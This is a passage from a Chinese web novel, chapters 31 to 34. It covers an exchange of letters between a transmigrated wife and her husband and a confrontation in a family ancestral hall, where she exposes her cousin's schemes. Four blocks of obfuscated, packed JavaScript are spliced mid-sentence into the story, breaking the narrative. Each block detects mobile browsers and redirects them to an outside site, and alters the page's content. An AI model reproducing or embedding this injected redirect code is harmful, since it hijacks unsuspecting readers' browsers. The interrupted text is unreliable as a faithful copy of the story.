柯玉铺好纸张,帮姜宜年研磨,姜宜年执起笔来,犹豫这封信该怎么开头。 “娘子要把这件事告诉郎君吗?” “不了吧,要说也是回去说,在信里说了,在我回去之前,他会一直担心。” “嗯。”柯玉赞同地点了点头。 “吾夫琮琤敬启,展信安……” 姜宜年写完,又开始犹豫,能用这三个字吗? 她不太确定古代的书信开头格式,不知道有没有这么一说,话说这个世界妻夫之间写信该怎么开头呢? “娘子,怎么了?”柯玉好奇看着她眨巴眼睛。 姜宜年摇了摇头。 不管了,继续写。 “我已平安抵达鼎州,途中无事,身体也好,只是有些疲累,无从避免。家中一切可好?你可还好?” 姜宜年本来想接着问他还有没有被几个活爹为难,差点儿就把心里想的落在纸上了,斟酌了一下,才敢继续下笔。 “万望郎君没有忘记我离家时的叮嘱。凡事尽力而为即可,不必事事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819226|189017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 追求圆满。不知嵘城可否落雪了?赶路途中遇了一场,美极。” 也想让你一起看看。 姜宜年把这句放回肚子里,蘸了蘸墨,继续提笔—— “要添衣、加炭、吃热乎的饭食,多想想自己。” 想叮嘱的还有一些,但想了想,似乎没有必要统统落在纸上。 “姜家祖母境况尚好,我留几日便回。郎君安心,读此信时,我应在归途。” 姜宜年想了一会儿,才在最后落款处写下了自己的名字。 不太长的一封信,她看了几遍,拿起来吹了吹,等墨迹干透,交给柯玉。 “明日起来送出去。” “好。” 第二天一大早,姜宜年还没睡醒,柯玉就把她叫醒了。 “娘子,信!信!” 姜宜年揉着眼睛起身,正在气头上。 “信怎么了?我不休他连封信都不让我给他寄吗?” 原本她正在做梦,梦的内容,就是那些她根本不认识的老人家围着她让她给商琮琤写休书,一个劲儿地在她耳朵边上说她是姜家的罪人,说她大逆不道。 姜宜年在梦里可没现实中这么客气,直接开骂。 她说自己严格意义上来也是姜家人,不过她这个姜家人可没这么多祖宗排队教训她,谁再说她大逆不道,干脆报上姓名来,她得去祠堂好好看看,对上名字了也好一对一理论一番。 昨晚没开骂,这些祖宗还真以为她不会怼人呢。 都成了祖宗了,难不成还不知道她是接触过互联网各种骂战的?这都敢惹? “哎呀不是,是郎君给娘子的信,今早刚送到。” 姜宜年一下子就醒了。 商琮琤的字很好看,虽然他自己不承认,信封上确实是商琮琤的字迹。 姜宜年一边撕开,一边听柯玉说话。 “我把信送出去的时候,这封刚好送到,说是因为天气,在路上耽搁了几日,居然跟我们一起到了,郎君果然料事如神。” 姜宜年把信拿在手里,深呼吸了一下。 “确实。” 原主真是好福气。 “妻主大人膝下:自别后,隆冬将至。 “余闻妻主途中遇险,心急如焚,不得前,万幸上天垂怜,不至妻夫生离死别,然,心有余悸,漏夜梦回,终心悬如坠石,无法心安。” 姜宜年倒吸了口气,商琮琤居然知道她们在尼姑庵发生的事。 她咽了咽口水,有些心虚,当时距离嵘城不算太远,如果早知道瞒不过他,还不如当时早点儿写封信让人带回去。 他得多担心。 “家宅俱安,勿念。妻主久病初愈,元气未全,客途风霜无避,饮食无常,伏惟珍摄。 “妻主明理,遇不平事擅动气,然易损肝脾。况事涉亲长,切记,须三思而后行。 “劳妻主挂念,余身粗安,又闻北地多寒,临颍怅然,不尽欲言。 “年关在迩,归期何日?梦中每记微程。念念。 “伏乞妻主安,书不尽意。念念。盼回信。 “夫郎商氏谨禀” 31. 第31章 姜宜年把商琮琤的这封信翻来覆去看了许多遍。 “娘子,郎君说了些什么?有提到我姐姐吗?” 直到柯玉出声询问,姜宜年才轻轻放下信,看向她。 “没有,他说家里一切都好,而且已经知道了我们在尼姑庵的遭遇,很担心。” 柯玉倒吸一口气,“啊,那我姐肯定也知道了,早知道当时应该带个口信给他们。” “是啊。” 姜宜年没忍住又把信展开看了一遍。 她想,原主会对商琮琤钟情,并不是没有理由的,往深了说,简直轻而易举。 以前就想到了,今天这种感觉更为强烈。 “娘子怎么了?” 姜宜年低头把信折好,重新放回信封里,轻声道:“……想回嵘城了。” 或许当初根本不应该离开他。 都是对未曾谋面的老太太心太软,不过人家老太太可没对商琮琤心软。 柯玉笑出了声,“娘子是思念郎君了吧?” 姜宜年没有回答,片刻后,反问道:“我给他写的信呢?” 柯玉一愣,“送……送出去了。” 看到姜宜年表情一僵,柯玉也反应过来,“这不是刚好接了这封信,就把那封信送出去了,我现在去要回来!” 如果是读完这封信立刻去要应该还来得及,可惜姜宜年读信费了些时间,这会儿怕是赶不上了。 “算了。” 姜宜年垂下眼睫,“我再写一封,你再去送一次。” “好。” 姜宜年也顾不得措辞了,直接用了大白话。 她告诉商琮琤自己收到了他的信,不过是在上一封信送出去以后收到的。 说自己原本没想瞒他,不过尼姑庵的那个意外说小不小,但说大也不算太大。当时急着赶路,也不知道鼎州老太太的具体情况,想着让他知道的话徒增担心。 她重新提了一次自己的归期,表示既然老太太没事,住不多时她就往回走了。 柯玉前脚刚出门,后脚姜叶就来了。 “阿姐睡得怎么样?这里比不得嵘城,阿姐在路上吃了不少苦,此刻在自己家里,缺什么一定要跟我说。” 姜叶顶着眼下的乌青,姜宜年犹豫了一下,还是没有装作视而不见。 “老太太怎么样?” 姜叶长叹一声,“昨夜阿姐离开后,祖母哭了好半晌,说自己对不起姜家的列祖列宗,又说……” 姜宜年没追问,姜叶顿了顿,继续道:“……说她留着这半口气,原本想将阿姐引回正途,没想到阿姐……” 她没说完,姜宜年嗤笑一声,接茬道:“没想到我油盐不进?大逆不道?” 姜叶抿了抿唇,表情有些微妙。 姜宜年干脆把球抛出去,直截了当地问她:“不过说起来,这件事,妹妹怎么看?” “我?”姜叶怔了怔,“这……唉……”她长叹一声:“一边是阿姐,一边是祖母,阿姐这让我怎么说呢。” 说话间,有人来说早饭备好了。 “阿姐,先去用了早饭再说吧。” 姜宜年正好饿了,不过坐在饭桌旁也没放过姜叶。 “你见过你姐夫,他跟我说过,我出事时,你还写信宽慰过他,难不成你也觉得我该休了他向祖宗谢罪?” 姜叶凝目,默了默,让厅里的下人都出去了。 姜宜年在心里冷笑了一下,既然觉得逼人休夫是件见不得光丢人的事,说出口都怕下人听到了耻笑,私下议论,居然做得出来。 没有其他人在场时,姜叶正色了表情,看着姜宜年,这才轻声开口:“阿姐和祖母都没有错,阿姐情深义重,祖母也是为了姜家着想,我实在……实在不知道该说什么好。” 她做出夹在中间两头为难的样子。 好歹这一路上都相伴左右,姜宜年并不觉得姜叶是个坏人。 不过,在钱权面前,好人也不一定目不斜视。 何况姜叶不是坏人,不意味着她没有野心。 能成为鼎州姜家的家主,足够证明她有野心、有能力、也有手段。 如果原主没了,自己也没能醒过来,商琮琤一个人面对姜叶,到底能撑多久,还真不好说。 “我也不知道该怎么办好。”姜宜年故意示弱,看向姜叶:“不如妹妹帮我出个主意?” 姜叶的表情很微妙地变化了一下,姜宜年捕捉到了,佯装没有察觉,满眼期待地看着她。 “妹妹了解老太太的品性,想来从小就能讨老太太开心,总好过我一无所知,老太太现在的情况,我不敢说重话,但也不能不维护自己的夫郎,妹妹应该能懂的。” “是。”姜叶一激动,握住了姜宜年的手,在她手背上轻轻拍了两下,“我当然懂。” 但是很快就泄了气,姜叶叹了口气,“若是其他事情,我好好劝劝祖母,肯定就没事了,但实话实说,当时听说阿姐出事,嵘城姜家被一个男子把持着,祖母整日为此提心吊胆,夜不能寐,就算说今日是当时落下的病根也不为过,这是祖母的心病,我劝……恐怕不会有多大成效。” “啊?”姜宜年故作惊讶,“那怎么办好呢?连你都劝不动,鼎州还有什么人能让老太太宽心呢?” 姜叶把手放在姜宜年的手背上用力握了握,“阿姐放心,我愿意为了阿姐尽力一试,如若能让祖母打消这个念头,希望阿姐一定要记我的好。” “那是自然,我和夫郎都会记住你的。” 姜叶笑笑,“都是一家人,说这些话,倒显得矫情。” 姜宜年也笑,但在心里说了一句:“你也知道啊。” 午膳时,姜家摆了场大的,说明了是要给嵘城来的姜家家主接风。 宴席之上,男女分席,除了姜家的所有人,还有请来的宾客。 挨个要给姜宜年敬酒,问她嵘城的大小事。 姜宜年知道的还没他们这些道听途说的多,也不想喝酒,直接说了自己大病初愈,不能饮酒。 对方再劝,她干脆把原主亡母搬了出来,信口胡诌。 说自己大病一场,能活过来堪称奇迹,必是亡母不忍心,竭力让她重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823150|189017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回人间,所以她起誓,十年内不饮酒,慰藉亡母魂灵,这才推掉。 姜叶见她推脱后才帮她说话,“阿姐确实久病初愈,又跟着我一路颠簸来到鼎州,实在不是不给各位面子,而是真的喝不了。” 这话听得柯玉都皱了眉,姜宜年在路上对姜叶积攒下来的好感正在一点点流失。 但说来人真是奇怪,她没失望,不憋闷,反而心里轻松不少。 姜宜年也想通了,其实就是这一路上没有触碰到姜叶的自身利益,所以她能是个好相处的亲戚。 可一进姜家的门,每个人的心思都冒了出来。 就算在嵘城也没有绝对可信的身边人,更遑论她现在身处连原主都没来过几次的鼎州。 全是陌生人,只要对方不过分,给个好脸色差不多了。 一顿饭话说了不少,肚子却没怎么吃饱。 好不容易应付完,一个个又都给姜宜年递上帖子,让她有空到家中一聚,说定要设宴款待。 姜宜年微笑着接下,一个都没拒绝。 成年人的世界是存在着很多借口,又不是答应了就一定要做到。 既然姜家想摆她一道,等她跑路,这些人情还不是得姜叶去还。 又不是在现代,从嵘城到鼎州,从鼎州到嵘城,一辈子能来往几次。 姜叶见她一个都不拒绝,全部收下,明显非常惊讶。 “阿姐……” 她小声提醒了一句,姜宜年故意表现出跟她嘀嘀咕咕的样子。 等她们说完话,姜叶被别人缠上,谁再发出邀约,姜宜年就不答应了。 “姜娘子来一趟不容易,应了别人的,怎么到我就不行了?难不成是瞧不上我们家吗?” 姜宜年支支吾吾说妹妹心疼她,又找补说自己在鼎州的时间有限,最后承诺如果情况允许,她肯定上门拜会。 那人听了,看了无知无觉的姜叶一眼,显然是疑心对方对自己有偏见,跟姜宜年说了什么。 再看姜宜年,失措一笑,不再言语。 好不容易摆脱这些人,姜宜年回了卧房休息,没多长时间,姜叶跑来找她,说是老太太要见她。 姜宜年想到了会有这出,点头开口:“我换了衣服就过去。” 姜叶眼神闪躲了一瞬,“好,那我在门外等,一会儿带阿姐过去。” 姜宜年心中警铃大作,猜测又是不好善了的一场戏。 人家已经把戏台搭好了,就等她上场。 柯玉帮姜宜年整理衣裳的时候,小声道:“看起来她们又要给娘子找麻烦,怎么办呀?” 姜宜年轻笑一声,“兵来将挡,水来土掩,实在不行,就地一躺。” 柯玉一下放松下来,小声附和:“娘子放心,到时候我一定好好配合。” 姜宜年正了下衣领,弯了弯唇。 反正都是演戏,演呗,看谁演的过谁。 自己一个现代灵魂,就不信论撒泼打滚还比不过这些封建的古代人。 她可以豁得出去不要体面、甚至不要脸面,她就不信其他人也可以。 32. 第32章 柯锦说完了话,商琮琤已经准她离开,可她转身走了两步又转回来。 “还有事?”商琮琤抬起眼皮看向她。 “不……我幼时和娘子一起去过鼎州几回,这个时候,娘子应该到了鼎州,想来不日就会给郎君寄了信来报平安,我担心娘子和柯玉,郎君若是收到信,可否……” “好,到时让吉枣跟你知会一声,也好让你放心。” “谢谢郎君。”柯锦往下蹲了蹲,站起来刚转身,听到商琮琤开口:“吉枣去送送。” “不必了。”柯锦笑笑,“郎君放心,这院子里的路我闭着眼睛都能走出去。” 姜宜年不在,柯锦总是在外面做事,不好留宿,因而还是住在外头,每日过来禀了事就要回去。 虽然已经拒绝,不过吉枣还是跟着柯锦送了一截路。 “郎君瞧着脸色不好,是不是没好好用膳?”柯锦小声询问。 吉枣低声开口:“娘子不在时,郎君一直是这个样子,姐姐难道忘了?倒是每日用膳都在正时辰上,不过吃得少,没什么胃口。” “你在郎君身边,要时时宽慰。就是你我也会担心娘子出门在外,郎君就更容易想不开了。” “我知道的。” 他们跟商琮琤一起经历过最困难的时期,每每回想,还是会惊恐惧怕。 柯锦轻叹一声,但想想看姜宜年已经醒了过来,最难的日子终归已经过去了,又升起信心来。 吉枣回去,商琮琤正站在檐下抬头看月亮。 “郎君出来怎么不添件衣裳?冻着了怎么办。” 吉枣忙要进屋给他拿衣服,商琮琤轻轻摆了摆手,重新回到房间里。 “不知道妻主有没有遇到什么麻烦事。” 吉枣把门窗关好,轻声安慰道:“娘子福大命大,不会有事的。” 商琮琤也知道,但凡有事,悄悄跟着的那些人一定会快马加鞭送信回来。 没有消息就是好消息。 但他所想的麻烦事,并不只是这些。 “就算那老太太的事是真的,但姜叶应该是从一开始就打着让妻主跟她回去的主意。” 吉枣皱眉问道:“郎君是怎么想的?” “无非就是为了钱。”商琮琤不屑地轻笑了一声。 吉枣抿了抿唇,小声道:“要钱不过分的话给她们就是了,只要她们不为难娘子就好,只是娘子现在失忆,不知道能不能招架得住她们。” 商琮琤没说话。 吉枣又道:“但娘子一醒过来就那样维护郎君,纵然什么都不记得了,娘子的性子还是那样,眼里容不得沙子,应该不会吃亏吧。” “只是要钱的话……或许也会从我开刀,我的一言一行,都是娘子被人攻击的把柄。” 从姜叶收到消息开始,到带着姜宜年匆匆离开,时间太短,商琮琤当时没有能及时想明白一切。 但再怎么样,现在也该想到了。 那边的姜家一干人等等着姜宜年过去,不可能什么都不图。 就算先前没什么,这个时候把人等到了,也一定会想要临时捞点儿什么。 这么好的机会,姜宜年孤身一人,还没了记忆,她不知道怎么应对的话怎么办? 她们必然会拿他这个代做家主的夫郎当把柄逼她就范。 商琮琤在信里跟姜宜年提了一句,想让她万事不要硬碰硬,得过且过,平安回来就好。 但想到她那个脾气,又觉得她大概做不到。 会不会吃亏?会不会受伤?会不会…… 商琮琤不敢深想。 然而从昨晚开始,他又想到了更多。 那边若是以数落他的不是开场,为难姜宜年,恐怕会先晓之以理动之以情,姜宜年眼下不记得他了,也不愿意跟他亲近,不晓得是不是对他完全没有感情了。 如果是,对方给了这么个台阶,姜宜年会不会……就此舍弃了他? 只是不记得他了并不至于此,商琮琤真正担心不已的是—— 这一路上真的太远了,他害怕姜宜年在不记得他的时候,已经喜欢上了别人。 果然当时还是应该无论如何都跟姜宜年一起走的,不管她说什么,不管她有多少拒绝的理由和借口,都应该像牛皮糖一样粘着她,决计不要跟她分开才行。 商琮琤一直这样胡思乱想。 直到入了梦,看到姜宜年归家,挽了别人的胳膊,说带回来跟他做个伴,让他好好照顾着。 他猛然惊醒,喉咙管里的“休想”二字还没吐出来,意识到自己是在做梦。 还好。还好。 他又想到,这或许就是上天给出的提醒。 商琮琤不敢再耽误,当机立断,天一亮就去启程去鼎州! 房中亮起灯火,吉枣迷迷糊糊叩了门进来,看到商琮琤披了件外衣不知道在案头写些什么。 “郎君,怎么了?” 吉枣没听到院子里有声音,也没有看到屋里有其他人。 主子这个时辰起来做什么? “你看着时辰,快天亮时去备马车,现在先准备些出远门会用上的行李。” “谁要出远门?” “我。”商琮琤抬头看了吉枣一眼:“去鼎州。” “鼎州?”吉枣大惊,“郎君……要去鼎州?为何啊?是……是有什么消息传来吗?” “没有。”商琮琤深吸一口气,“我把从今日起到年前的安排一件件写下来,你一会儿去找柯锦,亲自交给她。” “郎君。”吉枣开口劝道:“您冷静一点儿,为何这么着急要去鼎州啊?” “我放心不下妻主,怎么样都放不下,我一定要见到她,知道她没事才能心安。” 吉枣沉默下来,原来只是因着自己胡思乱想,才有了此种念头。 “郎君,您先头寄出去的信估摸着这两日就到娘子手里了,她肯定会给您回信的,若是您去了鼎州,岂不是刚好错过?” 商琮琤笔尖微顿,忘了这一茬。 随即,他又沮丧地想到,若是身边有了新人,哪怕姜宜年收到了他的信,不知还会不会给他回信。 “郎君。” 吉枣趁机上前,拿走了商琮琤手里的毛笔。 “郎君 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16828786|189017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,听我一句劝,等娘子的信到了,看过后再决定要不要去鼎州吧,这样更妥当。” 商琮琤还犹豫着,听到“妥当”二字,才真正暂时放弃了去鼎州的念头。 不顾一切去到姜宜年身边,如果她已有新欢,看到他,必然不会高兴。 留在家里,维持好目前的一切,确实更为妥当。 他就是这样的作用。 吉枣小心瞧着商琮琤的表情,知道事情还有回寰的余地,自己也悄悄松了口气。 “郎君,先休息吧,时辰还早,我去点一支安神香。” 商琮琤像丢了魂一样不言不语地被吉枣扶起来。 * “这好像不是去老太太院子的方向。” “是,阿姐记性不错,我们要去的是……是祠堂。” 姜叶的语气有些犹豫,不知道是不是已经开演了。 姜宜年和柯玉的表情都停止了一瞬。 柯玉甚至情急之下非常不稳重地开了口:“娘子……” “柯玉姑娘不必担心,这是祖母的意思,真到了关键时刻,我会护着阿姐的。” 姜叶说完,柯玉的表情没有变得放松下来,反而皱了眉。 姜宜年笑了一声,“放心吧。”她偏头看了柯玉一眼,道:“这儿也是姜家,我本就姓姜,再怎么样,都是一家人,还能吃了我不成。” “阿姐说笑了。” 姜叶说完这句,兀自走在前头,不再开口,姜宜年跟柯玉亦步亦趋跟在她身后。 祠堂里灯火通明。 除了正中坐着的老太太,还有几个人。 姜叶小声给姜宜年介绍,都是些她不认识的姜氏尊长,有几个宴席上见过,有的生面孔,或许见过,她没记住。 戏台子搭得还挺大,姜宜年想,这些人还挺给她面子。 “宜年,你昨日同我说,无论如何都不可能休夫,今日还是一样这样想吗?” 老太太看起来进口气比出口气少,然而都这样了,还撑着坐着佝偻着,在这儿算计她。 “是。” 姜宜年直挺挺站着,膝盖都没软一下。 “今日请来了些姜氏的长辈,你大抵不认得,但这几个,都是见过你母亲,见过你祖母的,有资格规正你的行为。” 姜宜年没说话,给对方说台词的机会。 老太太也不负所望—— “叶儿同我说,你和夫郎商氏,情深义重,别说休书,和离都几乎是不可能的事,她也跟我说了,商氏那个人,不是我们担心的那般自私心眼多,只不过是因为心里全是你,才硬撑着把姜家顶了下来。” 说到这儿,老太太不说了,姜宜年知道,后面的才是重点。 见对方看着她,姜宜年点了点头,“是这样没错。” “世间有这样忠贞的男子,确实不易。但无论当初再怎么不得已,你都不该把家业交到他手里,他更不该就这样接过去。纵然我们远在鼎州,也略有耳闻,就连现在他还在理事,同你昏迷时一样,实在不成体统。” “先让他撒手,起誓永不再碰,姜家自有人帮你。” 33. 第33章 姜宜年沉默着,鸦睫扇动两下。 “母亲只有我一个女儿,老太太想来是病糊涂,忘记了,若是尊长们执意让我分权到我那些弟弟手上才能放心,未免太想当然了,更何况,我的夫郎现今也是姜家的人,我实在不明白,他帮我,有何不可。” “他是男子,古往今来就没有男子经商的道理!姜家祖祖辈辈,把家业交给一个外人,还是个男子,姜宜年,你是头一个。” 老太太低吼着说完,咳了起来。 姜宜年微微皱眉,对方就像是真的在为了家族考虑,而不是想要为旁支姜家从她手里夺权似的。 她轻声反驳:“他既然已经嫁了我,自然算是姜家人,依老太太这么说,岂不是寒了所有嫁进姜家的后宅男子的心。” “你这是强词夺理。” “我这是摆事实讲道理。” 姜叶小声开口劝了一下:“阿姐……” 老太太被气得不行,其他尊长也是面面相觑。 虽然在没开始之前就想到了姜宜年恐怕不会太容易让步,但这也太吹毛求疵了。 姜宜年直接揪着字眼不放,面对老太太不卑不亢,这后面还能谈得下去么。 “我说的姜家,非你们嵘城姜家,鼎州有的是可用的姜家人,叶儿就是一个。依我和各位尊长来看,就让叶儿跟你回去。你大病一场,虽然尚且年轻,但毕竟需要时间休养,叶儿能帮你几分,这头她还有姐妹,倒也顾得过来。” 姜宜年已经想到了,安静听完,笑了一声,带着明显的嘲讽。 惹众人不快。 “姜娘子笑什么?”一人发问。 姜宜年顺势看过去,那人瞬间别过脸去,回避她的眼神。 “就是突然觉得有点好笑。” 姜宜年轻声开口:“昨夜和老太太说了一路奔波累到了,老太太无动于衷,今日在席上我也提到了刚刚大病初愈,尊长们无动于衷。像升堂一样把我提到这祠堂里来,受审似的,说了这半晌,也不管我站得累不累,可还站得住。原以为鼎州的亲戚们就这样,只听得到对自己有利的话,现在突然又提起我病过,原来每个人都知道,都记得的呀。” “你这话是什么意思?难道是在指责我们苛待你吗?”又一个人跳出来。 姜宜年轻飘飘看过去,这人她有印象,刚才吃饭的时候,还一副笑眯眯的样子,让她有空去家里坐。 “尊长听完是这个意思?我还以为我表现出来的是委屈呢。” 姜宜年面无表情说了这句,姜叶的眉毛跳了跳,疾行两步靠近她—— “阿姐莫恼,这是祠堂,我们小辈坐着不好,所以……” “跪下。” 老太太发话,姜叶先跪下了,姜宜年没动。 “姜宜年,跪下,难不成你要为了一个男人,忤逆长辈和祖宗吗?” “老太太对我夫郎有偏见,听您的话就像是认同了您的说法,我不认同,我不会跪的,至于祖宗,她们要想让我下跪认错,自然会亲自来跟我说。” “逆女!你母亲已经是姜氏的罪人,被祖宗责罚,再也生不出女儿来,你也是这样不听管教!只要我还活着,断不可能把姜氏本家的一切交给你。” 姜宜年笑笑,“晚了,已经在我手里了。” 老太太被气得又咳了起来,姜宜年面无表情看着,好几个人上前去小声安慰,都在指责姜宜年的不是。 这头的当事人突然转身,像是要走。 “你站住!” 姜宜年停下脚步,回头时,目光掠过柯玉的时候,发现她脸色都白了,估计是被她吓的。 “我来鼎州,原是探亲,因着姜叶说您和我祖母关系最好,所以想来看看老太太身体如何,现在看来,还很硬朗,我也就能放心了,是时候回去了。” “你说了这么多混账话,这就想走?” “难不成你们还要软禁我?”姜宜年笑了一声,“若我人在这儿没了,你们是万万不可能拿到自己想要的东西的。” 姜叶上来拉她:“阿姐现在是在气头上,说的都是气话,我们是一家人,怎么可能会伤害阿姐呢。” 姜宜年转头看着她,姜叶叹了口气,“祖母身体实在不好,脑子也有些糊涂了,老人家,阿姐该懂得的,我并非想要跟阿姐去嵘城争夺什么,不如阿姐先假意答应,服个软,让祖母放心后,什么都不算数的。” “……” 她还真敢说。 这些人都把她拉到祠堂来了,居然说不算数。 姜宜年又笑了一声,然后叹了口气,轻轻从姜叶的手里抽了出来,前进两步,看着被人围在中间的老太太。 “既然全是一家人,老太太和几位尊长说话做事都这么真性情,那我也就放开了聊了。” “你想说什么?” 姜宜年瞟了姜叶一眼。 “姜叶如今是鼎州姜氏的家主,是这一辈里最有出息的孩子,这我有所耳闻,我还听说,其他姐妹并非只比她逊色一点,而是……全都是些酒囊饭袋,上不得台面的东西。就这,只有一个可用的,你们还肖想收了姜氏本家?” “阿姐。”姜叶和缓的脸色挂不住了,“你怎好这样说我的姐妹?她们也是你的……” “别来,我可一个都不认识。” 姜宜年看着她:“不过很有趣,原来你当她们是姐妹?” 姜叶眸光微动。 “原本看了老太太之后,大家还能和和气气坐在一个桌子上吃饭,可你们一个个非要说我的夫郎有各种不是,逼我休夫,不是目的吧?” 她看着姜叶,眼也不眨一下,“你应是调查了很久,知道我们关系好,确定了我不可能休夫,才让自己祖母提了这样的要求。其实如果不是担心他听了伤心,我还真想看看我同意休夫的话,你们会是什么表情。” “啊。”姜宜年打了响指,“那样的话,应该又会说我大病初愈,身体羸弱,一定要有人帮我才行。” “阿姐,你误会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16833151|189017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” “误会不误会的,听听接下来我要说的话才发表意见吧。” 姜宜年退后两步,环视在场所有人,“大家都找个地方坐下比较好,一会儿被气晕了可怎么办呢,祖宗仁厚、心慈,根本不会计较这些。” 姜叶:“阿姐……” 姜宜年轻描淡写道:“你为了这群只愿意动动嘴的家伙累死累活,你最不该劝我了。” “你什么意思?!”有人喊了一句。 “别着急,你们想在祖宗面前理理我的错处,我也有事情要对祖宗说明一下。” “柯玉。” 姜宜年微微侧身,柯玉从怀里掏出一沓纸张来,递到姜宜年手里。 “五年前,姜叶十三岁当家,因为老太太突然晕倒,差点没命,无论是从排行还是年纪来说,都应该是姜叶当家。可惜她没有经验,想当然认为一家人应该共渡难关,于是从后宅支出开始管控,惹得几房不满,尊长们当时应该也参与了讨伐她的过程。” 姜宜年笑笑,“就像此刻一样。” “姜叶很快认识到错误,也了解到了若想成为当家人,应当学会圆滑世故,从那时起,她的行为很少能再挑得出错来。” “阿姐是想说我做的不对?”姜叶脸上的表情已经完全变了,“难不成阿姐认为找出我的错处来,就能保住姐夫了?” “我可不会像你们一样逼迫别人做什么,只是分享点儿事实罢了。” 姜宜年抬头,看向那一尊尊排位,“让她们瞧瞧,也让她们知道知道。” 转过头,姜宜年看着姜叶开口:“你十三岁就尝到了权利的滋味,虽然拖着所有人往前走,但做出一点成绩来,就十分有成就感,所以不想撒手放权,即便后来老太太好了,你也没有将权利还给她。” “你一直在嵘城,你懂什么?那是叶儿心疼我,不想让我……” “也是从那时开始,你担心若是有哪个妹妹超过了你,会代替你,所以,你制造各种机会让她们不是迷上去赌场,就是迷上去花楼。”姜宜年根本不管别人说什么。 “阿姐,你冤枉我了。” “哦是吗?我以为我了解你,就像你们了解我的夫郎一样清楚呢。” 姜叶勉强弯起唇角,“阿姐想保住自己,想保住姐夫,我明白,但也不能这么冤枉我啊。” 姜宜年笑了一下,面无表情开口:“三年前,四月初八,你三妹妹被同窗带去赌场,欠了五百两银子,回来想找老太太认错,被你拦住,你帮她还了钱,让她不要去烦祖母,说以后缺钱了就找你要;六月初五,你通过别人的身份赎了个貌美的小倌,送给了你二妹妹,叮嘱那小倌时时劝你二妹妹到花楼去疼疼其他的苦命人,十月初三,你诓骗你四妹妹去隆成山上烧香,雇人推了她,让她摔断了腿,成了个瘸子。” 针落可闻。 片刻后。 “谁告诉你的?是谁冤枉我?” 姜宜年微笑:“若想人不知……你明白的。” 34. 第34章 “阿姐,我自问这一路上对你不错,你为何要这样对我?” 姜宜年眼皮一开一阖,轻叹一声,“即便不是在祠堂,我也是有什么说什么,姜叶,口口声声姐妹,你真的有把她们、把我,当成是姐妹吗?” 姜叶没吭气。 姜宜年看向其他人,从老太太的表情来看,这些事情她早就知道。 这不意外。 就算当时没发现,后来也有很多发现的机会,不过人学坏了再想往正途上引,就很难了。 老太太找不到比姜叶更合适的继承人,只能当做什么都不知道。 其他人就不一样了,嘀嘀咕咕起来,姜叶大怒:“闭嘴!” 周围霎时间静了下来。 姜叶意识到失态,故作轻松笑了两声,“我……我没有做过那些事。” 她看向姜宜年,“那些不过是阿姐信口胡诌,冤枉我的,阿姐,给你帮忙本是好意,是祖母定下的,你为何要这样冤枉我?” 姜宜年料到了她不会承认,“帮我?” 她笑笑,点了点头,扬了扬手里的东西,“这是供词,时间地点都有,相关人按了手印,如果尊长们也觉得是我在冤枉她,不妨自己去查一查,或者不妨报官,让官府帮着查一查。” 有人怒斥,“这是家事,怎可报官?!让外人知道了就是丑事了,你让姜家其他人如何自处?!” 姜宜年耸了下肩,“只是告诉你们一声,不查也行,反正跟我没关系。” 她把所有东西塞到姜叶手里,发现姜叶在发抖。 “方才邀我去家里坐坐的,现在应该再也不想见到我了吧?” 无人应答。 姜宜年笑了一声,“明日我就会启程回嵘城,今夜在祠堂发生的所有事情,我会当作什么都没有发生过,你们自便。” 没人说话。 姜宜年看着姜叶开口:“本来不想走到这一步的,但时间太短,想不到其他方法。我很好奇,你在决定伤害自己姐妹的时候,有想到有朝一日会被反噬吗?” 姜叶抬起眼看着她,“你一直是装的。” 姜宜年:“……” 不知道她指的是什么,但照单全收吧,至少以后她会因为自己抖出来的这些事情很长一段时间里都被指指点点。 姜宜年不想窝窝囊囊,花费更多时间去试图温和地解决问题。 她认为如果自己表现得温和,那么对方只会觉得她可以随意欺辱。 明明她往后退一步是因为不想惹麻烦,但对方可不会领情。 如果对方出拳头,那她就出刀子。 老太太让她跪下,她就把老太太和姜叶最不想让人知道的事情,呈在月光下。 